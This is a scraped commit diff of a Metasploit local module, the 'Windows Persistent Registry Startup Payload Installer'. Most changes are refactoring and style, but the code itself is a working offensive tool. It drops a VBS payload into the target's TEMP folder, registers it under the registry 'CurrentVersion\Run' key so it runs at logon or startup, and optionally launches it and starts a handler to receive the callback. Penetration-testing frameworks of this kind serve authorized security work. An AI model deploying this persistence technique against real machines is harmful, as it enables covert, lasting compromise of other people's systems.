11
11
require 'msf/core/post/windows/registry'
12
12
require 'msf/core/exploit/exe'
13
13
14
- class Metasploit3 < Msf ::Exploit ::Local
14
+ class Metasploit4 < Msf ::Exploit ::Local
15
+
15
16
Rank = ExcellentRanking
16
17
17
18
include Msf ::Post ::Common
18
19
include Msf ::Post ::File
19
20
include Msf ::Post ::Windows ::Priv
20
21
include Msf ::Post ::Windows ::Registry
21
- include Exploit ::EXE
22
+ include Msf :: Exploit ::EXE
22
23
23
- def initialize ( info = { } )
24
- super ( update_info ( info ,
25
- 'Name' => 'Windows Persistent Registry Startup Payload Installer' ,
26
- 'Description' => %q{
24
+ def initialize ( info = { } )
25
+ super ( update_info ( info ,
26
+ 'Name' => 'Windows Persistent Registry Startup Payload Installer' ,
27
+ 'Description' => %q{
27
28
This module will install a payload that is executed during boot.
28
29
It will be executed either at user logon or system startup via the registry
29
30
value in "CurrentVersion\Run" (depending on privilege and selected method).
30
31
} ,
31
- 'License' => MSF_LICENSE ,
32
- 'Author' =>
32
+ 'License' => MSF_LICENSE ,
33
+ 'Author' =>
33
34
[
34
35
'Carlos Perez <carlos_perez[at]darkoperator.com>' ,
35
- 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
36
+ 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
36
37
] ,
37
- 'Platform' => [ 'win' ] ,
38
- 'SessionTypes' => [ 'meterpreter' ] ,
39
- 'Targets' => [ [ 'Windows' , { } ] ] ,
40
- 'DefaultTarget' => 0 ,
41
- 'DisclosureDate' => "Oct 19 2011" ,
42
- 'DefaultOptions' =>
38
+ 'Platform' => [ 'win' ] ,
39
+ 'SessionTypes' => [ 'meterpreter' ] ,
40
+ 'Targets' => [ [ 'Windows' , { } ] ] ,
41
+ 'DefaultTarget' => 0 ,
42
+ 'DisclosureDate' => "Oct 19 2011" ,
43
+ 'DefaultOptions' =>
43
44
{
44
- 'DisablePayloadHandler' => 'true' ,
45
+ 'DisablePayloadHandler' => 'true'
45
46
}
46
47
) )
47
48
@@ -62,9 +63,9 @@ def initialize(info={})
62
63
63
64
register_advanced_options ( [
64
65
OptBool . new ( 'HANDLER' ,
65
- [ false , 'Start an exploit/multi/handler job to receive the connection' , false ] ) ,
66
+ [ false , 'Start an exploit/multi/handler job to receive the connection' , false ] ) ,
66
67
OptBool . new ( 'EXEC_AFTER' ,
67
- [ false , 'Execute persistent script after installing.' , false ] )
68
+ [ false , 'Execute persistent script after installing.' , false ] )
68
69
] , self . class )
69
70
end
70
71
@@ -75,29 +76,29 @@ def exploit
75
76
rexe_name = datastore [ 'EXE_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
76
77
reg_val = datastore [ 'REG_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
77
78
startup = datastore [ 'STARTUP' ] . downcase
78
- delay = datastore [ 'DELAY' ] || 10
79
- exc_after = datastore [ 'EXEC_AFTER' ] || false
80
- handler = datastore [ 'HANDLER' ] || false
79
+ delay = datastore [ 'DELAY' ]
80
+ exec_after = datastore [ 'EXEC_AFTER' ]
81
+ handler = datastore [ 'HANDLER' ]
81
82
@clean_up_rc = ""
82
83
83
84
rvbs_name = rvbs_name + '.vbs' if rvbs_name [ -4 , 4 ] != '.vbs'
84
85
rexe_name = rexe_name + '.exe' if rexe_name [ -4 , 4 ] != '.exe'
85
86
86
87
# Connect to the session
87
88
begin
88
- host , port = session . session_host , session . session_port
89
+ host = session . session_host
89
90
print_status ( "Running persistent module against #{ sysinfo [ 'Computer' ] } via session ID: #{ datastore [ 'SESSION' ] } " )
90
91
rescue => e
91
- print_error ( "Could not connect to session" )
92
+ print_error ( "Could not connect to session: #{ e } " )
92
93
return nil
93
94
end
94
95
95
96
# Check values
96
- if ( is_system? ) && ( startup == 'user' )
97
+ if is_system? && startup == 'user'
97
98
print_warning ( 'Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!' )
98
99
end
99
100
100
- if ( handler ) && ( !datastore [ 'DisablePayloadHandler' ] )
101
+ if handler && !datastore [ 'DisablePayloadHandler' ]
101
102
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
102
103
print_warning ( "Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues..." )
103
104
print_warning ( "Disabling HANDLER..." )
@@ -141,7 +142,7 @@ def exploit
141
142
end
142
143
143
144
# Do we execute the VBS script afterwards?
144
- target_exec ( script_on_target ) if datastore [ 'EXEC_AFTER' ]
145
+ target_exec ( script_on_target ) if exec_after
145
146
146
147
# Create 'clean up' resource file
147
148
clean_rc = log_file ( )
@@ -170,12 +171,12 @@ def write_script_to_target(vbs, name)
170
171
temppath = datastore [ 'PATH' ] || session . sys . config . getenv ( 'TEMP' )
171
172
filepath = temppath + "\\ " + filename
172
173
173
- if ! directory? temppath
174
+ unless directory? ( temppath )
174
175
print_error ( "#{ temppath } does not exists on the target" )
175
176
return nil
176
177
end
177
178
178
- if file? filepath
179
+ if file? ( filepath )
179
180
print_warning ( "#{ filepath } already exists on the target. Deleting..." )
180
181
begin
181
182
file_rm ( filepath )
@@ -198,7 +199,7 @@ def write_script_to_target(vbs, name)
198
199
filepath = nil
199
200
end
200
201
201
- return filepath
202
+ filepath
202
203
end
203
204
204
205
# Installs payload in to the registry HKLM or HKCU
@@ -216,16 +217,15 @@ def write_to_reg(key, script_on_target, registry_value)
216
217
regsuccess = false
217
218
end
218
219
219
- return regsuccess
220
+ regsuccess
220
221
end
221
222
222
-
223
223
# Executes script on target and returns true if it was successfully started
224
224
def target_exec ( script_on_target )
225
225
execsuccess = true
226
226
print_status ( "Executing script #{ script_on_target } " )
227
227
# Lets give the target a few seconds to catch up...
228
- sleep ( 3 )
228
+ Rex . sleep ( 3 )
229
229
230
230
# Error handling for process.execute() can throw a RequestError in send_request.
231
231
begin
@@ -239,7 +239,7 @@ def target_exec(script_on_target)
239
239
execsuccess = false
240
240
end
241
241
242
- return execsuccess
242
+ execsuccess
243
243
end
244
244
245
245
# Starts a exploit/multi/handler session
@@ -248,7 +248,8 @@ def create_multihandler(lhost, lport, payload_name)
248
248
pay . datastore [ 'LHOST' ] = lhost
249
249
pay . datastore [ 'LPORT' ] = lport
250
250
print_status ( 'Starting exploit/multi/handler' )
251
- if !check_for_listener ( lhost , lport )
251
+
252
+ unless check_for_listener ( lhost , lport )
252
253
# Set options for module
253
254
mh = client . framework . exploits . create ( 'multi/handler' )
254
255
mh . share_datastore ( pay . datastore )
@@ -260,19 +261,19 @@ def create_multihandler(lhost, lport, payload_name)
260
261
mh . options . validate ( mh . datastore )
261
262
# Execute showing output
262
263
mh . exploit_simple (
263
- 'Payload' => mh . datastore [ 'PAYLOAD' ] ,
264
- 'LocalInput' => self . user_input ,
265
- 'LocalOutput' => self . user_output ,
266
- 'RunAsJob' => true
267
- )
264
+ 'Payload' => mh . datastore [ 'PAYLOAD' ] ,
265
+ 'LocalInput' => self . user_input ,
266
+ 'LocalOutput' => self . user_output ,
267
+ 'RunAsJob' => true
268
+ )
268
269
269
270
# Check to make sure that the handler is actually valid
270
271
# If another process has the port open, then the handler will fail
271
272
# but it takes a few seconds to do so. The module needs to give
272
273
# the handler time to fail or the resulting connections from the
273
274
# target could end up on on a different handler with the wrong payload
274
275
# or dropped entirely.
275
- select ( nil , nil , nil , 5 )
276
+ Rex . sleep ( 5 )
276
277
return nil if framework . jobs [ mh . job_id . to_s ] . nil?
277
278
278
279
return mh . job_id . to_s
@@ -296,7 +297,7 @@ def check_for_listener(lhost, lport)
296
297
end
297
298
end
298
299
end
299
- return false
300
+ false
300
301
end
301
302
302
303
# Function for creating log folder and returning log path
@@ -310,18 +311,18 @@ def log_file(log_path = nil)
310
311
# Create a directory for the logs
311
312
if log_path
312
313
logs = ::File . join ( log_path , 'logs' , 'persistence' ,
313
- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
314
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
314
315
else
315
316
logs = ::File . join ( Msf ::Config . log_directory , 'persistence' ,
316
- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
317
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
317
318
end
318
319
319
320
# Create the log directory
320
321
::FileUtils . mkdir_p ( logs )
321
322
322
323
# logfile name
323
324
logfile = logs + ::File ::Separator + Rex ::FileUtils . clean_path ( host + filenameinfo ) + ".rc"
324
- return logfile
325
+ logfile
325
326
end
326
327
327
328
end
0 commit comments